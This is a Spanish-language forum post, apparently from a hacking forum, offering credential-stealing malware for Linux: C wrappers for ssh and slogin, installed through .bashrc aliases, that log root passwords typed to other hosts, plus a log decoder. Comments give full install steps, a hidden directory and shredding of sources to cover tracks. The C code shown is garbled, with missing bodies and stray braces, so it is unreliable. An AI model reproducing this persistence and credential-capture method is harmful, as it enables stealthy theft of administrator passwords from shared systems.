Pero supongamos que desde el usuario donde tenemos acceso hay gente que se loguea como root a otras máquinas usando SSH. Esto es un escenario bastante típico.
Nuestro usuario por lo general podrá crear alias y compilar programas, y de esto nos vamos a valer para instalar este malware en un Linux. Lo único que haremos es esperar a que un usuario se loguee en otra máquina como root y obtener sus credenciales en un archivo de texto, que estará cifrado de forma bastante sencilla.
El programa se compone de 3 partes. sl.c, ssh.c y deco.c
sl.c se compila y se usa como alias del comando slogin
ssh.c se compila y se usa como alias del comando ssh
deco.c no se instala en la máquina víctima, sólo nos sirve para descifrar nuestro archivo con credenciales.
Lo pongo aquí para ver si alguien se anima a mejorarlo. Siento que no tenga muchos comentarios, pero es bastante simple de entender. Por supuesto, cada caso es diferente, así que habría que adaptar el código a cada caso, dependiendo de diversas variables.
sl.c
Código
/* Author: Kasswed for elhacker.net April 2012 This malware is composed of 3 parts: 1. sl.c: slogin snifer program code 2. ssh.c: ssh snifer program code 3. deco.c: decoder program for the logs files Install this program (does not need to be root) using a bash script: mkdir .config/.keyboard gcc sl.c -o .config/.keyboard/sl gcc ssh.c -o .config/.keyboard/s echo "alias slogin='$HOME/.config/.keyboard/sl'" >> ~/.bashrc echo "alias ssh='$HOME/.config/.keyboard/s'" >> ~/.bashrc shred -n 30 -u sl.c shred -n 30 -u ssh.c Then remove the script as well with "shred -n 30 -u script.sh" To get the passwords, get access to the victim's machine and copy the log file into your computer. Use the program deco: $ ./deco logfile Et voila. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pwd.h> #define BUF 1000 #define PATH "/usr/bin/slogin" #define LOG "/.config/.keyboard/sx" int main(int argc, char **argv){ char *ssh_arguments_send[BUF]; char ssh[] = "slogin"; ssh_arguments_send[0] = ssh; if(argc != 2){ int j; for(j=1;j<argc;j++) ssh_arguments_send[j]=argv[j]; } else{ FILE *file; char dir[BUF]; int i; struct passwd *pw; char user[200]; char *ptr; pw = getpwuid(geteuid()); ssh_arguments_send[1] = argv[1]; char pCopy[BUF],encript[BUF],host[BUF],password[BUF]; } else{ } sleep(2); if(file!=NULL){ for(i=0;i<strlen(pCopy);i++){ } } sleep(2); } execv(PATH,ssh_arguments_send); }
ssh.c
Código
/* Author: Kasswed for elhacker.net April 2012 This malware is composed of 3 parts: 1. sl.c: slogin snifer program code 2. ssh.c: ssh snifer program code 3. deco.c: decoder program for the logs files Install this program (does not need to be root) using a bash script: mkdir .config/.keyboard gcc sl.c -o .config/.keyboard/sl gcc ssh.c -o .config/.keyboard/s echo "alias slogin='$HOME/.config/.keyboard/sl'" >> ~/.bashrc echo "alias ssh='$HOME/.config/.keyboard/s'" >> ~/.bashrc shred -n 30 -u sl.c shred -n 30 -u ssh.c Then remove the script as well with "shred -n 30 -u script.sh" To get the passwords, get access to the victim's machine and copy the log file into your computer. Use the program deco: $ ./deco logfile Et voila. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pwd.h> #define BUF 1000 #define PATH "/usr/bin/ssh" #define LOG "/.config/.keyboard/sx" int main(int argc, char **argv){ char *ssh_arguments_send[BUF]; char ssh[] = "ssh"; ssh_arguments_send[0] = ssh; if(argc != 2){ int j; for(j=1;j<argc;j++) ssh_arguments_send[j]=argv[j]; } else{ FILE *file; char dir[BUF]; int i; struct passwd *pw; char user[200]; char *ptr; pw = getpwuid(geteuid()); ssh_arguments_send[1] = argv[1]; char pCopy[BUF],encript[BUF],host[BUF],password[BUF]; } else{ } sleep(2); if(file!=NULL){ for(i=0;i<strlen(pCopy);i++){ } } sleep(2); } execv(PATH,ssh_arguments_send); }
deco.c
Código
#include <stdio.h> #include <stdlib.h> #include <string.h> #define BUF 10000 int main(int argc,char **argv){ FILE* file; int i; char encript[BUF]; for(i=0;i<strlen(encript);i++){ if((i+1)%3==0) } }